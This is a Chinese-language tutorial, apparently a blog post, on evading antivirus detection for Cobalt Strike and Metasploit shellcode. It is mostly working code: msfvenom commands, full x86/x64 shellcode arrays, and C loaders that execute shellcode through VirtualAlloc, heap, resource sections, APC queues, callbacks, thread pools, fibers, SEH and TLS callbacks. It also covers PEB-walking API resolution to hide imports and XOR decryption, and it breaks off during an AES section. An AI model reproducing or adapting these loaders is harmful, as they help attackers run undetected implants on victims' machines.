免杀入门

免杀入门

环境:cobalt strike 4.4 、自实现profile、全文使用c类型shellcode。

PS:本人水平低下,针对syscall等底层原理内容实在难于下手,免得乱写一通。

shellcode的编写

手动编写(x)

手动编写暂时挖坑

c2生成

利用msf生成shellcode

msfvenom -p windows/x64/exec cmd="calc.exe" -f c -o shellcode.c
msfvenom -p windows/exec cmd="calc.exe" -f c -o shellcode2.c
msfvenom -p windows/x64/exec cmd="calc.exe" -f raw -o calc

x64,calc

unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

x86,calc

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

shellcode的加载

总结加载Shellcode的各种方式 - 亨利其实很坏

内联汇编

直接嵌入汇编语言调用shellcode,vs中默认不支持x64,仅支持x32位的shellcode

#pragma comment(linker, "/section:.data,RWE")   //data段可读写  
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

void main()
{
__asm {
lea eax,buf
call eax
}
}

mov eax, offset ShellCode 可以用 lea eax, ShellCode 代替

jmp 也可以用 call 代替

添加花指令:

花指令简析_花指令生成

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
__asm
{
mov eax, offset shellcode
_emit 0xFF
_emit 0xE0
}
}

函数指针执行

将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode

#pragma comment(linker, "/section:.data,RWE")  //data段可读写执行
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示windows窗口

unsigned char buf[] = "shellcode";

void main()
{
( (void(*)(void)) & buf)();
// ( (void(WINAPI*)(void)) & buf)();
}

理解 (*(void (*)()) lpBaseAddress)()

就是把从指定地址开始的命令当作函数进行调用执行。

  1. void (*)() 是一个无参数、无返回类型的函数指针。
  2. (void (*)())lpBaseAddress 是将lpBaseAddress强转为函数指针类型。
  3. (*(void (*)()) lpBaseAddress)() 就是通过函数指针(相当于这个格式(*函数指针)())进行函数调用。

没有调用WinApi,可对shellcode进行加密编码

申请动态内存加载

通过调用winapi:VirtualAlloc 主要用于在进程的虚拟地址空间中分配一块内存,这块内存可以被用于多种目的,包括作为堆、栈、映射文件等。将shellcode复制到申请的地址,通过 函数指针执行 或 创建线程执行

申请内存页时,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。这样也能规避掉一些特征查杀。

函数指针执行:

#include <Windows.h>
#include <stdio.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] = "shellcode is here";
main()
{
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}

创建线程执行:

在创建线程时需要进行等待子线程完成,sleep一会或者WaitForSingleObject等待信号

main退出时自动调用ExitProcess(),操作系统终止所有运行的线程。WaitForSingleObject保证main在子线程运行期间不返回。

#include <windows.h>

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] ="shellcode is here";

void main()
{
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(pMemory, buf, sizeof(buf));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFree(pMemory, 0, MEM_RELEASE);
}

堆加载

类似于动态申请内存,只不过申请的是堆空间

#include <windows.h>

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] ="shellcode is here";

int main()
{
HANDLE heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);
LPVOID buffer = HeapAlloc(heap, HEAP_ZERO_MEMORY,sizeof(buf));
RtlMoveMemory(buffer,buf,sizeof(buf));
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
HeapFree(heap, 0, buffer);

return 0;
}

资源节加载

资源文件通常存放在 .rsrc 节(Resource Section)中。.rsrc 节是 PE(Portable Executable)文件格式中的一个节(section),用于存储程序的资源信息,如图标、对话框、字符串、位图等。每个资源项都有一个唯一的标识符(ID),程序可以通过这个标识符来获取特定的资源。

vs中 添加资源,导入bin文件,自定义资源类型

#include <Windows.h>
#include "resource.h"

//通过资源加载ShellCode
void ResourceLoader() {
//获取资源
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");
//用于获取资源的大小
DWORD ResSize = SizeofResource(NULL, Res);
//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
HGLOBAL Load = LoadResource(NULL, Res);
//申请内存
void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer, Load, ResSize);
//执行shellcode
((void(*)(void)) buffer)();
}

int main() {
ResourceLoader();
return 0;
}

APC注入

异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队列,并在适当的时机触发队列中挂起的函数。APC 队列通常用于实现线程间的异步通信、定时器回调以及异步 I/O 操作。

触发流程:

  • 使用 VirtualProtect 函数修改 shellcode 所在内存区域的保护属性,将其设置为可执行、可读、可写
  • 获取 NtTestAlert 函数的地址。(这是一个内部函数,无法直接通过函数名调用,NtTestAlert 函数用于检查当前线程的 APC 队列,如果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行)
  • 使用 QueueUserAPC 函数向当前线程的 APC 队列添加一个执行 Shellcode 的任务
  • 调用 NtTestAlert 函数,触发 APC 队列中的任务执行,实现 Shellcode 的执行
#include <Windows.h>
#include <stdio.h>

typedef DWORD(WINAPI* pNtTestAlert)();

unsigned char buf[] = "shellcode is here";

int main()
{
// 修改 shellcode 所在内存区域的保护属性,允许执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

//获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));

// 将buf强转为APC 函数,向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), NULL);

//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();

return 0;
}

基于回调函数

通过 各种回调函数

EnumTimeFormatsA
EnumWindows
EnumDesktopWindows
EnumDateFormatsA
EnumChildWindows
EnumThreadWindows
EnumSystemLocalesA
EnumSystemGeoID
EnumSystemLanguageGroupsA
EnumUILanguagesA
EnumSystemCodePagesA
EnumDesktopsW
EnumSystemCodePagesW
...

EnumFontsW

#include <Windows.h>

unsigned char buf[] = "shellcode is here";

int main()
{
// 开辟空间
void *shellcode = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
// copy shellcode
RtlMoveMemory(shellcode, buf, sizeof(buf));
// 触发回调函数
EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)shellcode, NULL);
EnumUILanguages((UILANGUAGE_ENUMPROCW)shellcode, 0, NULL);

return 0;
}

线程池等待

类似于回调函数,只不过是在线程池的应用中的几个函数

#include <Windows.h>

unsigned char buf[] = "shellcode is here";

int main()
{
void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcode, buf, sizeof(buf));
/*
* CreateEvent是Windows API,用于创建一个事件对象
* 参数1:安全属性,NULL表示默认
* 参数2:是否手动复位
* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
* 参数4:事件名称,NULL表示不使用名称
*/
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
* CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
* 参数1:回调函数指针
* 参数2:回调函数参数
* 参数3:线程池回调环境
*/
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)shellcode, NULL, NULL);
/*
* SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
* 参数1:线程池等待对象
* 参数2:要等待的内核对象句柄
* 参数3:等待超时时间,NULL表示无限等待
*/
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf

return 0;
}

纤程加载

#include <Windows.h>

unsigned char buf[] = "shellcode is here";

int main() {
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

// 将当前线程转换为纤程(轻量级线程)
ConvertThreadToFiber(NULL);

// 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);

// 切换到新创建的纤程,开始执行shellcode
SwitchToFiber(shellcodeFiber);

// shellcode执行完毕后,删除纤程对象
DeleteFiber(shellcodeFiber);

return 0;
}

基于SEH异常处理

SEH(Structured Exception Handling,结构化异常处理)是 Windows 平台提供的一种异常处理机制,它允许程序员编写结构化的代码来处理异常情况。SEH 提供了一种在程序中捕获、处理和传播异常的方法,可以有效地处理诸如访问违例、除以零、内存访问错误等异常情况。

SEH 提供了以下关键元素来实现异常处理:

  1. __try 块:用于包裹可能会引发异常的代码块。
  2. __except 块:用于捕获和处理异常的代码块。
  3. __finally 块(可选):用于执行清理操作的代码块,在异常处理完毕后无论是否发生异常都会执行。
  4. __leave 语句(可选):用于退出包裹在 __try 块中的代码。
#include <Windows.h>

#pragma comment(linker, "/section:.data,RWE")
//#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //不显示窗口

unsigned char buf[] = "shellcode is here";
int a = 1;
int b = 0;

int exceptFilter()
{
b = 1; // 修改b的值为1,以防止无限循环的异常处理
((void(*)(void)) & buf)();
return EXCEPTION_EXECUTE_HANDLER;
/*
异常处理函数的返回值除了有EXCEPTION_CONTINUE_EXECUTION,还有以下两个值:
EXCEPTION_EXECUTE_HANDLER:常处理器已处理异常,程序应在_except块内继续执行
EXCEPTION_CONTINUE_SEARCH:常处理器未处理异常,程序应继续搜索其他异常处理器
*/
}

int main()
{
__try {
int c = a / b;
}
__except (exceptFilter()) {
}

return 0;
}

TLS机制

TLS回调函数的学习TLS Code Execute

线程局部存储(TLS),是一种变量的存储方法,这个变量在它所在的线程内是全局可访问的,但是不能被其他线程访问到,这样就保持了数据的线程独立性。在启用了TLS功能的PE文件中,会设置有关于TLS的TLS Table(TLS表),这个表的位置信息可以在IMAGE_DATA_DIRECTORY DataDirectory[9]中找到。

TLS的数据结构体如下:

32位
typedef struct _IMAGE_TLS_DIRECTORY32 {
DWORD StartAddressOfRawData;
DWORD EndAddressOfRawData;
DWORD AddressOfIndex; // PDWORD
DWORD AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *
DWORD SizeOfZeroFill;
union {
DWORD Characteristics;
struct {
DWORD Reserved0 : 20;
DWORD Alignment : 4;
DWORD Reserved1 : 8;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;

} IMAGE_TLS_DIRECTORY32;


64位
typedef struct _IMAGE_TLS_DIRECTORY64 {
ULONGLONG StartAddressOfRawData;
ULONGLONG EndAddressOfRawData;
ULONGLONG AddressOfIndex; // PDWORD
ULONGLONG AddressOfCallBacks; // PIMAGE_TLS_CALLBACK *;
DWORD SizeOfZeroFill;
union {
DWORD Characteristics;
struct {
DWORD Reserved0 : 20;
DWORD Alignment : 4;
DWORD Reserved1 : 8;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;

} IMAGE_TLS_DIRECTORY64;

其中 AddressOfCallBacks 这个成员是一个指向函数地址数组的指针,这里的函数的地址就是 TLS回调函数 的实际地址

TLS回调函数:

每当创建/终止线程时会自动调用执行的函数(创建进程的主线程时也会自动调用回调函数,且回调函数的执行顺序是 先于EP代码 的执行,即先于main函数,所以TLS回调函数的这个特性通常被用于反调试技术)由于是创建和终止线程时都会调用,所以在程序从打开到结束这个TLS回调函数会被执行两次。

TLS函数模板如下

typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK)
(
PVOID DllHandle,
DWORD Reason,
PVOID Reserved
);

32位与64位声明不同

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] ="shellcode is here";

//TLS回调函数
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcode, buf, sizeof(buf));
((void(*)()) shellcode)();
}
}

//使用TLS需要在程序中新建一个.tls段专门存放TLS数据,申明使用
#ifdef _WIN64 //64位
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_func")
#else //32位
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:_tls_callback_func")
#endif

//注册TLS回调函数
#ifdef _WIN64
#pragma const_seg(".CRT$XLF") //64位
EXTERN_C const
#else
#pragma data_seg(".CRT$XLF") //32位
EXTERN_C
#endif

PIMAGE_TLS_CALLBACK tls_callback_func[] = { TlsCallBack,0 };

#ifdef _WIN64
#pragma const_seg() //64位
#else
#pragma data_seg() //32位
#endif

int main()
{
printf("After TLS");
return 0;
}

tips:TLS的特性可以加入反调试:TLS及反调试机制

动态API加载

一些敏感API函数或敏感API函数组合会被监控,同时在PE导入表也会列出敏感函数,通过动态加载:调用函数在PE导入表中不可见

主要通过两个函数实现:GetProcAddressLoadLibraryA

一些前置:

在RING3下 FS寄存器 指向 TEB(线程结构体) ,在TEB+0x30处就是 PEB进程结构体,PEB+0xC的位置就是 _PEB_LDR_DATA结构体,里面包含了dll加载链,该结构体中的 InInitializationOrderModuleList 这个链表 第二个必定是kernel32.dll

流程思路:

  • 定位关键模块:首先找到包含核心API函数的关键模块(如kernel32.dll)。这通常可以通过解析PEB(Process Environment Block)中的模块列表来完成。
  • 获取GetProcAddress:定位到kernel32.dll后,需要解析导出表(Export Table)以获取GetProcAddress函数的地址。GetProcAddress是一个核心函数,用于在运行时动态解析其他API函数的地址。
  • 加载其他API:通过GetProcAddress函数,可以逐个获取其他需要的API函数的地址。例如,可以通过GetProcAddress获取VirtualProtect、CreateThread和WaitForSingleObject等函数的地址。
  • 准备Shellcode:将Shellcode存储在缓冲区中,使用VirtualProtect函数将缓冲区的内存页属性更改为可执行,以确保可以安全地执行Shellcode。
  • 创建线程并执行Shellcode:使用CreateThread函数创建一个新线程,并将Shellcode的地址作为线程的启动例程。线程创建后,使用WaitForSingleObject等待线程执行完成

编写:

x86,直接利用汇编获取kernel32.dll地址

__asm {
push eax
mov eax, fs:[0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x1c]
mov eax, [eax]
mov eax, [eax + 0x8]
mov kernel32Address,eax
pop eax
}
#include <Windows.h>
#include <stdio.h>

unsigned char buf[] = "shellcode is here";

DWORD GetKernel32Address()
{
DWORD kernel32Address = 0;
__asm {
push eax
mov eax, fs:[0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x1c]
mov eax, [eax]
mov eax, [eax + 0x8]
mov kernel32Address,eax
pop eax
}
printf("[+]kernel32 base: 0x%p\n", kernel32Address);
return kernel32Address;
}

DWORD RGetProcAddress(DWORD kernelbase)
{
// 获取Dos头即起始地址
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)kernelbase;
// 获取NT头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + kernelbase);
// 数据目录
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
// 导出表地址
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(pDataDir->VirtualAddress + kernelbase);
printf("[+]Export Addr: 0x%p\n", pExport);

//函数总数
DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
DWORD dwFunNameCount = pExport->NumberOfNames;
//函数地址
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + kernelbase);
//函数名称地址
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + kernelbase);
//序号表
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + kernelbase);

for (size_t i = 0; i < dwFunCount; i++)
{
//判断函数地址是否存在,为空
if (!pAddrOfFun[i])
{
continue;
}
//通过函数地址遍历函数名称地址,获取想要的函数
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (size_t j = 0; j < dwFunNameCount; j++)
{
if (pAddrOfOrdinals[j] == i)
{
DWORD dwNameOffset = pAddrOfNames[j];
char* pFunName = (char*)(kernelbase + dwNameOffset);

if (strcmp(pFunName, "GetProcAddress") == 0)
{
printf("[+]GetProcAddress Addr: 0x%p\n", dwFunAddrOffset + kernelbase);
return dwFunAddrOffset + kernelbase;
}
}
}
}
}

// 根据原函数结构,声明定义api函数
typedef FARPROC(WINAPI* pGetProcAddress)(_In_ HMODULE hModule, _In_ LPCSTR lpProcName);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main()
{
// kernel32地址
HMODULE kernelbase = (HMODULE)GetKernel32Address();
// GetProcAddress函数地址
pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress(kernelbase);

//开始获取各种函数
pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(kernelbase, "VirtualProtect");
pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(kernelbase, "CreateThread");
pWaitForSingleObject MyWaitForSingleObject = (pWaitForSingleObject)MyGetProcAddress(kernelbase, "WaitForSingleObject");

// 组合加载shellcode
DWORD oldProtect;
MyVirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
MyWaitForSingleObject(hThread, INFINITE);

return 0;
}

x64,默认无法使用汇编

在项目中右键新建项 GetInitializationOrderModuleList.asm ,用于获取 InitializationOrderModuleList

.CODE
GetInInitializationOrderModuleList PROC
mov rax,gs:[60h]
mov rax,[rax+18h]
mov rax,[rax+30h]
ret
GetInInitializationOrderModuleList ENDP
END

右键单击新建的asm文件, 选择属性, 在常规选项处将 从生成中排除 设置为 , 项类型设置为 自定义生成工具

在自定义生成工具选项处

在命令行框输入 ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm

在输出框输入 $(IntDir)%(FileName).obj

打开项目属性,勾选 C/C++->代码生成->禁用安全检查

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] = "shellcode is here";

// 声明获取 InInitializationOrderModuleList 链表的函数
extern "C" PVOID __stdcall GetInInitializationOrderModuleList();

// UNICODE_STRING 结构体定义
typedef struct _UNICODE_STRING {
USHORT Length; //表示字符串中的字符数,由于它是unicode形式的字符,因此每个字符占两个字节
USHORT MaximumLength; //分配的内存空间的大小,以字节为单位
PWSTR Buffer; //表示指向存储Unicode字符串的字符数组的指针
} UNICODE_STRING, * PUNICODE_STRING;

// 获取 Kernel32.dll 的基地址
HMODULE GetKernel32Address() {
// 获取 InInitializationOrderModuleList 链表
LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList();
while (1) {
// 获取 FullDllName 成员
UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
// 如果 Buffer 中的第 13 个字符为空字符,则已找到 Kernel32.dll
if (*(FullDllName->Buffer + 12) == '\0') {
// 返回模块的基地址
return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
}
pNode = pNode->Flink;
}
}

// 获取 GetProcAddress 函数的地址
DWORD64 RGetProcAddress(HMODULE hKernal32) {
// 获取 DOS 头
PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32;
// 获取 NT 头
PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr + baseAddr->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((LONG64)baseAddr + pImageNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出函数地址数组、导出函数名数组和导出函数序号数组
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir->AddressOfFunctions);
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames);
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir->AddressOfNameOrdinals);

// 遍历导出函数
for (size_t i = 0; i < exportDir->NumberOfNames; i++) {
// 获取当前函数地址
LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr + RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]);
// 获取当前函数名地址
PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]);
// 如果当前函数名是 "GetProcAddress",返回其地址
if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
return F_va_Tmp;
}
}
}

// 定义函数指针类型
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);

int main() {

// 获取 Kernel32.dll 的基地址和GetProcAddress函数地址
HMODULE hKernal32 = GetKernel32Address();
pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress(hKernal32);

//开始获取各种函数
pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernal32, "VirtualProtect");
pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernal32, "CreateThread");
pWaitForSingleObject MyWaitForSingleObject = (pWaitForSingleObject)MyGetProcAddress(hKernal32, "WaitForSingleObject");

// 组合加载shellcode
DWORD oldProtect;
MyVirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf, NULL, 0, NULL);
MyWaitForSingleObject(hThread, INFINITE);
return 0;
}

参考:

免杀技巧之API动态加载技术

通过重写ring3 API函数实现免杀

动态调用系统API避免导入表检测

通过隐藏导入表的方式规避杀软

工具:

lazy_importer: library for importing functions from dlls in a hidden, reverse engineer unfriendly way

进程注入(x)

大块内容,暂时挖坑

高级进程注入总结

进程注入、代码注入、傀儡注入检测

Windows Process Injection(Windows进程注入)

Ten process injection techniques: A technical survey of common and trending process injection techniques | Elastic Blog

SECFORCE - Security without compromise

TrustedSec | Burrowing a Hollow in a DLL to Hide

Hiding malicious code with “Module Stomping”: Part 1 - F-Secure Blog

Process Code Injection Through Undocumented NTAPI (omroot.io)

shellcode的混淆加密

针对shellcode不同的加密方式

XOR

shellcode生成

msfvenom -p windows/x64/exec cmd="calc.exe" --encrypt xor -f c -o shellcode.c --encrypt-key test
#include <Windows.h>
#include <stdio.h>

unsigned char encshellcode[] = "xor shellcode is here";

int main() {
int buflen = sizeof encshellcode;
char key[] = "test";
unsigned char shellcode[sizeof encshellcode];

// XOR 解密
int j = 0;
for (int i = 0; i < sizeof encshellcode; i++) {
if (j == sizeof key - 1) j = 0;
shellcode[i] = encshellcode[i] ^ key[j];
j++;
}

for (int i = 0; i < sizeof shellcode; i++) {
printf("\\x%02x", shellcode[i]);
}
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}

tips:使用 InterlockedXor 进行平替异或符号,加载混淆的shellcode实现静态免杀

AES

导入aes模块:ShellcodeEncryption/aes加密

项目结构如下

image-20240410231219455

tools.h

#include "AES.h"
#include "Base64.h"
#include <iostream>
#include <random>
